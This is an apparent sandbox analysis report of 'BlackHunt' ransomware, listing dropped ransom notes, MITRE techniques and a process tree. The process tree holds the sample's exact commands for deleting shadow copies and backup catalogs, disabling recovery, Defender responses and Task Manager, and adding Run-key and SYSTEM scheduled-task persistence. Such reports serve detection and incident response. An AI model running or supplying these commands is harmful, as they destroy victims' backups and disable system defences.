File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Setup Files\{AC76BA86-7AD7-1033-7B44-A90000000001}\Data1.cab	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\#BlackHunt_ReadMe.txt	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Push\push_item.png	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-masterfs-nio2.xml	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\services_discovery\#BlackHunt_ReadMe.hta	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\dark\#BlackHunt_ReadMe.hta	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\#BlackHunt_ReadMe.txt	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\mainimage-mask.png	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.databinding.property_1.4.200.v20140214-0004.jar	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-options-keymap.xml	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\VERSION.txt	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File created	C:\Program Files\VideoLAN\VLC\locale\nb\LC_MESSAGES\#BlackHunt_ReadMe.txt	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files\7-Zip\Lang\en.ttt	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_super.gif	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-host.jar	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files\Java\jre7\bin\server\classes.jsa	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\btn-previous-static.png	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Metlakatla	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.sat4j.core_2.3.5.v201308161310.jar	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_performance_Thumbnail.bmp	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.rcp.product_5.5.0.165303\feature.properties	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.http.servlet_1.1.500.v20140318-1755.jar	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Africa\El_Aaiun	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-sa_zh_CN.jar	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Optional\#BlackHunt_ReadMe.hta	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroForm\PMP\QRCode.pmp	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\#BlackHunt_Private.key	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\license.html	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Jerusalem	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\ICU\#BlackHunt_Private.key	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files\DVD Maker\fieldswitch.ax	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Notes_INTRO_BG_PAL.wmv	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\button-highlight.png	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench.swt.nl_zh_4.4.0.v20140623020002.jar	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-progress-ui_zh_CN.jar	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hr\#BlackHunt_ReadMe.hta	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\ReadOutLoud.api	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\SY______.PFB	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pl.txt	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\META-INF\#BlackHunt_Private.key	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\ModuleAutoDeps\org-netbeans-modules-options-api.xml	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2972	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1588	vssadmin.exe
2500	vssadmin.exe
2768	vssadmin.exe
2880	vssadmin.exe
2652	vssadmin.exe
2560	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
4864	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2624	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
4144	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
Token: SeRestorePrivilege	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
Token: SeBackupPrivilege	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
Token: SeTakeOwnershipPrivilege	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
Token: SeAuditPrivilege	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
Token: SeSecurityPrivilege	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
Token: SeIncBasePriorityPrivilege	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
Token: SeBackupPrivilege	1808	vssvc.exe
Token: SeRestorePrivilege	1808	vssvc.exe
Token: SeAuditPrivilege	1808	vssvc.exe
Token: SeBackupPrivilege	1080	wbengine.exe
Token: SeRestorePrivilege	1080	wbengine.exe
Token: SeSecurityPrivilege	1080	wbengine.exe
Token: SeSecurityPrivilege	328	wevtutil.exe
Token: SeBackupPrivilege	328	wevtutil.exe
Token: SeSecurityPrivilege	4644	wevtutil.exe
Token: SeBackupPrivilege	4644	wevtutil.exe
Token: SeSecurityPrivilege	4924	wevtutil.exe
Token: SeBackupPrivilege	4924	wevtutil.exe
Token: SeSecurityPrivilege	652	wevtutil.exe
Token: SeBackupPrivilege	652	wevtutil.exe
Token: SeSecurityPrivilege	3176	wevtutil.exe
Token: SeBackupPrivilege	3176	wevtutil.exe
Token: SeDebugPrivilege	4864	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1848 wrote to memory of 2680	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	154
PID 1848 wrote to memory of 2680	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	154
PID 1848 wrote to memory of 2680	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	154
PID 1848 wrote to memory of 2680	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	154
PID 1848 wrote to memory of 2844	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	153
PID 1848 wrote to memory of 2844	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	153
PID 1848 wrote to memory of 2844	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	153
PID 1848 wrote to memory of 2844	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	153
PID 1848 wrote to memory of 2936	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	151
PID 1848 wrote to memory of 2936	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	151
PID 1848 wrote to memory of 2936	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	151
PID 1848 wrote to memory of 2936	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	151
PID 2680 wrote to memory of 2608	2680	cmd.exe	150
PID 2680 wrote to memory of 2608	2680	cmd.exe	150
PID 2680 wrote to memory of 2608	2680	cmd.exe	150
PID 1848 wrote to memory of 2656	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	148
PID 1848 wrote to memory of 2656	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	148
PID 1848 wrote to memory of 2656	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	148
PID 1848 wrote to memory of 2656	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	148
PID 2844 wrote to memory of 2676	2844	cmd.exe	146
PID 2844 wrote to memory of 2676	2844	cmd.exe	146
PID 2844 wrote to memory of 2676	2844	cmd.exe	146
PID 1848 wrote to memory of 2748	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	30
PID 1848 wrote to memory of 2748	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	30
PID 1848 wrote to memory of 2748	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	30
PID 1848 wrote to memory of 2748	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	30
PID 1848 wrote to memory of 2660	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	145
PID 1848 wrote to memory of 2660	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	145
PID 1848 wrote to memory of 2660	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	145
PID 1848 wrote to memory of 2660	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	145
PID 1848 wrote to memory of 2600	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	143
PID 1848 wrote to memory of 2600	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	143
PID 1848 wrote to memory of 2600	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	143
PID 1848 wrote to memory of 2600	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	143
PID 1848 wrote to memory of 2584	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	141
PID 1848 wrote to memory of 2584	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	141
PID 1848 wrote to memory of 2584	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	141
PID 1848 wrote to memory of 2584	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	141
PID 1848 wrote to memory of 1928	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	140
PID 1848 wrote to memory of 1928	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	140
PID 1848 wrote to memory of 1928	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	140
PID 1848 wrote to memory of 1928	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	140
PID 1848 wrote to memory of 2492	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	138
PID 1848 wrote to memory of 2492	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	138
PID 1848 wrote to memory of 2492	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	138
PID 1848 wrote to memory of 2492	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	138
PID 2656 wrote to memory of 2508	2656	cmd.exe	137
PID 2656 wrote to memory of 2508	2656	cmd.exe	137
PID 2656 wrote to memory of 2508	2656	cmd.exe	137
PID 1848 wrote to memory of 2636	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	135
PID 1848 wrote to memory of 2636	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	135
PID 1848 wrote to memory of 2636	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	135
PID 1848 wrote to memory of 2636	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	135
PID 2748 wrote to memory of 2516	2748	cmd.exe	134
PID 2748 wrote to memory of 2516	2748	cmd.exe	134
PID 2748 wrote to memory of 2516	2748	cmd.exe	134
PID 1848 wrote to memory of 2524	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	32
PID 1848 wrote to memory of 2524	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	32
PID 1848 wrote to memory of 2524	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	32
PID 1848 wrote to memory of 2524	1848	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe	32
PID 2936 wrote to memory of 2468	2936	cmd.exe	133
PID 2936 wrote to memory of 2468	2936	cmd.exe	133
PID 2936 wrote to memory of 2468	2936	cmd.exe	133
PID 2600 wrote to memory of 2464	2600	cmd.exe	132

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe
"C:\Users\Admin\AppData\Local\Temp\0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2748
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2516
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2524
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:3052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2112
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1920
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2804
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2724
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1900
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:2560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1464
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1020
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:1556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe" /F
  2⤵
  PID:1720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:3068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:776
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:1744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2492
- C:\Windows\System32\cmd.exe
